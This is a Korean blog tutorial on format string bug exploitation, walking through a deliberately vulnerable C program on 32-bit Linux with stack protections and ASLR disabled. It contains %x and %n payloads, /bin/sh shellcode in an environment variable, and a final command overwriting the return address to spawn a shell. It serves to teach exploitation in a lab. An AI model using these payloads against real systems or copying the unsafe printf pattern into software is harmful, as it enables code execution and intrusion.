본문 바로가기

IT/System Hacking

포맷 스트링 버그(Format string bug) 취약점이란?

/* 
written by kaspy (kaspyx@gmail.com)
*/ 

포맷 스트링 버그(Format String bug,이하 FSB)란 버퍼 오버플로우 해킹 기법의 한종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬수있는 취약점이다.


아래와 같이 FSB 취약점이 있는 간단한 소스코드를 보도록 하겠다.


실습을 하기전에 


sudo sysctl -w kernel.randomize_va_space=0


명령어를 사용하여 랜덤 스택을 고정 스택으로 수정하길 바란다.


시스템 해킹 환경 구축에 대한 포스팅은 여기를 참고 

(위에서 언급한거 빼곤 딱히 준비할건없다.안봐도됨)


** 테스트한 환경은 32비트 우분투 리눅스 14.x 입니다.**


1. 포맷 스트링 버그 (Formatstring bug) 취약점이란?


  1. #include <stdio.h>
  2.  
  3. int main(int argc,char *argv[])
  4. {
  5.   char buf[256];
  6.   strncpy(buf,argv[1],sizeof(buf));
  7.   printf(buf);
  8. }
  9.  
  10. //compile : gcc -o fsb_test fsb_test.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


7번째 라인을 유심히 봐주길바란다. 해당 라인은 FSB 취약점이 존재하는 코드로써, 

원래는 printf("%s",buf); 이런식으로 코딩을 해야 안전하다. 그러나 프로그래머의 부주의로 위와같은 취약점이 발생할수 있는데, 별것아닌것처럼 보이지만 매우 심각한 취약점으로 해커는 이것을 교묘하게 이용하여 프로그램의 흐름을 변경하고, 원하는 작동을 하는 임의의 악성코드도 실행할수 있다.


위의 코드는 첫번째로 입력받은 파라미터를 출력해주는 간단한 코드이다.

(설명을 쉽게하기 위해서 7번라인 아래 printf("\n"); 을 하나추가하였다.)



c언어의 포맷스트링 리스트는 아래와 같다. 프로그래머는 포맷에 대해 데이터가 어떻게 변환되는지는 알 필요없고, 패딩이나 필드크기, 정렬에 관한 부분에만 신경쓰면 된다. (한국말로 포맷스트링 : 변환지정자)


Specifier

Purpose

%c

Formats a single character

%d

Formats an integer in decimal notation (pre ANSI)

%e , %E

Formats a float or double in signed E notation

%f

Formats a float or double in decimal

%I

Formats an integer (like %d)

%o

Formats an integer in octal

%p

Formats a pointer to address location

%s

Formats a string

%x, %X

Formats an integer in hexadecimal


여기서 설명하지 않은것이 하나 있는데 바로 "%n" 이라는 포맷 스트링 지정자이다. 


  1. #include <stdio.h>
  2.  
  3. void main()
  4. {
  5.   char buf[] = "abcde";
  6.   int n;
  7.  
  8.   printf("%s %n\n",buf,&n);
  9.   printf("%d\n",n);
  10. }


이지정자는, 출력한 문자열의 개수를 특정 메모리에 써주는 역할을 하는데, 


코드와 같이 n 이라는 변수의 주소를 주면 출력한 buf의 "abcde\0"을 출력해준 갯수 6을 써주는것처럼 사용할수 있다.


그렇다면 어떤게 문제일까? 바로 c언어의 포맷 스트링 문자를 넣었을 경우이다. 



포맷 스트링 문자도 같이 넣어줬을경우에 프로그램이 이상한 값들을 토해낸다


잘못하면 프로그램이 죽을수도있다. 


FSB 취약점이 굳이 exploit으로 이어지지 않아도 프로그램의 오작동 및 DOS 등의 취약점은 기본적으로 탑재하고 있는것이다.


아래와같이 "%x" 포맷스트링을 넣어주다보면 우리가 입력한 값도 출력되는것을 확인할수있다.

('a'에 대한 아스키코드값은 0x61 이다.)


파이썬 스크립트를 사용하여 실행파일의 인자를 넣어줄수있다.


./fsb_test `python -c 'print "ccccddddeeeeXXXX"+"aaaa"*20+"%x%x%x%x"*3'`



printf() 함수는 포맷 스트링 문자를 만나면 스택에 저장된 값을 하나씩 뽑아서 출력해준다.


도식화 하자면


위와같이 printf 함수와 포맷스트링을 이용하여 스택에 있는 값을 접근할수 있는것이다.


우리는 프로그램의 정확한 메모리 상태는 알수없다. 그러나 포맷 스트링 문자를 통해서 그때의 메모리 상태를 파악할수 있다.


만약 네번째 %x를 %n으로 바꾼다면 0x0c0c0c0c 의 주소에는 여태까지 출력한 문자열("ccccdddd...") 의 개수를 덮어 쓸수있다는점이다.


"cccc" 문자를 임의의 주소로 바꿔서 프로그램의 ret 주소 또는 dtors 에도 덮어쓸수도 있는것이고, 임의의 코드를 삽입한후 흐름을 코드쪽으로 가게 할수도 있다.


2. 포맷 스트링 버그 취약점 접근하기


이제 포맷 스트링 버그 취약점 공략을 쉽게 접근하기위해 처럼 간단한 코드를 추가해준다.


  1. #include <stdio.h>
  2.  
  3. int p =0;
  4.  
  5. int main(int argc,char *argv[])
  6. {
  7.   char buf[256];
  8.   strncpy(buf,argv[1],sizeof(buf));
  9.   printf(buf);
  10.   printf("\n%x %x\n",p,&p);
  11. }
  12.  
  13. //compile : gcc -o fsb_test2 fsb_test2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


컴파일 옵션과 고정 스택 옵션을 사용하였다면 크게 메모리값이 크게 달라지는점은 없었을 것이다.



전역 변수 p의 주소는 0x0804a028 이며 그 주소에 저장되어있는 값은 0으로 확인되었다.


이값을 포맷스트링(fsb)버그를 이용하여 변경하도록 하겠다. 

(실제 익스플로잇을 한다면 저 주소가 아니라 프로그램의 ret 또는 dtors를 변경하는것일겁니다.)


이제 포맷스트링을 입력하여 내가 어떤 주소를 수정할지, printf 함수기준으로 스택에 쌓인 파라미터를 추출하여 계산을 해보겠다.


문자열 "XXXX"를 입력하여 몇번째에서 그값, 아스키 코드로 0x58이 출력되는지 확인하자.


./fsb_test2 `python -c 'print "XXXX"+"aaaa"+"%08x%08x%08x"'`



XXXX (58585858) 라는 문자열은 세번째 %08x를 넣었을때 출력되었다.

(%08x는 16진수로출력할때 8자리가 안되어도 자리수를 맞추기 위해서 지정해줍니다, 계산을 편하게 하기위해)


내가 XXXX라는 값을 수정하고 싶으면 세번째 %08x를 %n으로 바꿔주면된다.


XXXX 라는값을 0x0804a028로 수정하여 값을 바꿔보도록 하자.

(리틀 엔디안 이므로 위의 숫자는 거꾸로 넣어줘야하는것을 유의하도록 하자.)


./fsb_test2 `python -c 'print "\x28\xa0\x04\x08"+"aaaa"+"%08x%08x%n"'`



%n 포맷 스트링을 넣어줘서 0x0804a028 이라는 값이 0x18으로 수정되었다. 


그렇다면 왜 0x18으로 수정되었을까?


%n 지정자는 이전까지 출력한 문자열의 개수를 특정 메모리 주소에 넣어준다고 하였다.


문자열을 잘 세어보면 "\x28\xa0\x04\x08" 4개, 뒤에 "aaaa" 문자열로 4개 그리고 %08x를 넣어준 8개 문자열 2개해서 16


이값을 더하면 4 + 4+ 16 = 24, 16진수로 0x18임을 확인할수 있다.


마지막에 있는 포맷스트링 %08x을 대신에 %09x로 수정해보자.



p의 값이 0x19로 수정된것을 확인할수 있다. 


즉 %숫자x 등의 옵션을 주어서 특정 주소에 어떤 값을 넣을지 공격자는 지정해줄수 있는것이다.

(여러분은 p의 값을 0x44로 바꿀수있게 해보세요.)


3. 포맷 스트링 버그 취약점 공략하기


실제 익스플로잇을 하는 경우라면, 프로그램의 dtors 또는 ret 주소를 수정하여 그값을 쉘코드로 지정해주는 것이다.


보통 ret 주소 수정은 입력하는 파라미터에 따라 바뀌므로 잘쓰지는 않고 대부분 dtors 주소 공략을 통해 exploit을 하는 경우가 많다.


dtors를 찾는 명령어는


objdump -s -j .dtors fsb_test2 


에서 나온 두번째 값에 +4를 해주면 된다.


kaspyx@kaspyx-virtual-machine:~/test$ objdump -s -j .dtors fsb_test2

 

fsb_test2:     file format elf32-i386

 

objdump: section '.dtors' mentioned in a -j option, but not found in any input file


헉.. 그런데 dtors 영역이 존재하지않는다.


dtors는 프로그램이 종료되고 마지막에 실행해주는 영역을 지정해주는것인데.., 아마도 ubuntu 14.x 버전부터 이영역은 삭제된것으로 보인다.


하는 수없이 ret 주소를 수정하는 방법으로 설명하도록 하겠다.


코드를 아래와같이 수정하여 ret 주소를 확인해보자.


  1. #include <stdio.h>
  2.  
  3. int p =0;
  4.  
  5. int main(int argc,char *argv[])
  6. {
  7.   int *ret = (int*)&ret+2;
  8.   char buf[256];
  9.   strncpy(buf,argv[1],sizeof(buf));
  10.   printf(buf);
  11.   printf("\nret - %x\n",ret);
  12. }
  13.  
  14. //compile : gcc -o fsb_test3 fsb_test3.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


./fsb_test3 `python -c 'print "XXXX"+"aaaa"+"%08x%08x%08x"'`


여기서 ret 주소는 main 함수가 다실행되고 호출한 주소로 복귀하는 주소가 저장되는 스택의주소 인데 0xbfffceac으로 확인된다. 

(근데 이값은 입력된 파라미터에 개수에따라 계속 달라진다. 확인만하고 몇번의 고정된 파라미터에 대한 계산이 필요하다,그래서 dtors 공략이편함)


나는 환경변수에 쉘코드를 등록하여 저기에있는 ret 주소를 환경변수에 등록된 쉘코드로 넘겨서 공격을 해볼것이다.


아래 코드를 실행하여 쉘코드를 환경변수에 등록해보자.


쉘코드는 예전에 내가 직접 만든것인데, 만드는 방법은 여기를 참고하길 바란다.

(주석에 나와있는 export kaspyx... 명령어를 복붙하여 실행한후에 아래 코드를 컴파일 실행하여 egg쉘의 주소를 확인하면된다.)


  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x00"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.  
  12.   return 0;
  13. }


쉘코드의 주소는 0xbfffd7f0으로 확인되었다.


우리는 %n 지정자를 통해 4번 나눠서 메모리의 ret 주소를 변경할것이다.


앞에서 한대로 주소값을 4번 쓰기위해선 몇번의 입력을 통해 데이터를 정렬해줘야 한다.


./fsb_test3 `python -c 'print "XXXX"+"aaaa"+"XXXX"+"cccc"+"XXXX"+"dddd"+"XXXX"+"%08x"+"%08x%08x"+"%08x%08x"+"%08x%08x"+"%08x%08x"'`


(데이터 정렬은 위와 같이 해줬다. 아래와같이 색깔로 보면 좀더 편할것이다.)



ret이 저장되는 스택 주소 : 0xbfffce7c


쉘코드의 주소 : 0xbfffd7f0


또한 리틀 엔디안 방식이므로 거꾸로 넣어줘야한다. 즉,


0xbfffce7c => f0

0xbfffce7d => d7

0xbfffce7e => ff

0xbfffce7f => bf


이렇게 값을 넣어줘야한다.


기본 문자열 개수 44 , (0x2c 이며 십육진수 0x100의 자리 수는 버린다.)


아래의 표를통해 약간의 계산을 한후에 포맷스트링의 숫자값을 지정해준다.

 

수정할 주소

기본 문자열 개수

A

변경해야 할

목표 값 B

지정 해줘야 할 문자 개수

C = |B-A|

지정해줄 포맷 스트링 문자

0xbfffce7c

0x2c

0xf0

0xC4 (196)

196+8 = %204x

0xbfffce7d

0xf0

0xd7

0xe7 (231)

%231x

0xbfffce7e

0xd7

0xff

0x28 (40)

%40x

0xbfffce7f

0xff

0xbf

0xc0 (192)

%192x


아래는 최종 공격 exploit 코드이다.( 각색깔에 매칭되는 포맷스트링을 참고해보길바란다.)


./fsb_test3 `python -'print "\x7c\xce\xff\xbf"+"aaaa"+"\x7d\xce\xff\xbf"+"cccc"+"\x7e\xce\xff\xbf"+"dddd"+"\x7f\xce\xff\xbf"+"%08x"+

"%204x%08n"+"%231x%08n"+"%40x%08n"+"%192x%08n"'



./fsb_test3 `python -c 'print 

"\x7c\xce\xff\xbf"+"aaaa"+"\x7d\xce\xff\xbf"+"cccc"+"\x7e\xce\xff\xbf"+"dddd"+"\x7f\xce\xff\xbf"

+"%08x"+"%204x%08n"+"%231x%08n"+"%40x%08n"+"%192x%08n"'`


코드를 실행하면 아래와같이 쉘이실행된다.




추가적으로.. %n은 1바이트만써서 4개의 주소를 써줘야하는 불편함이있는데 %hn을 쓰면 2번만에 쉘코드의 주소를 삽입할수있다.


보통 %hn을 더많이쓰는데.. %n을 이해했다면 %hn을 활용하는것도 어렵지않을것이다.


* 참조 내부 링크

- 리눅스 시스템 해킹방어 메카니즘 및 해킹환경 구축하기 http://kaspyx.kr/3

- 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? http://kaspyx.kr/2

- 리눅스 쉘코드(Shell Code)만들기 http://kaspyx.kr/4

- C언어로 리틀엔디안, 빅엔디안 확인 하기 : http://kaspyx.kr/1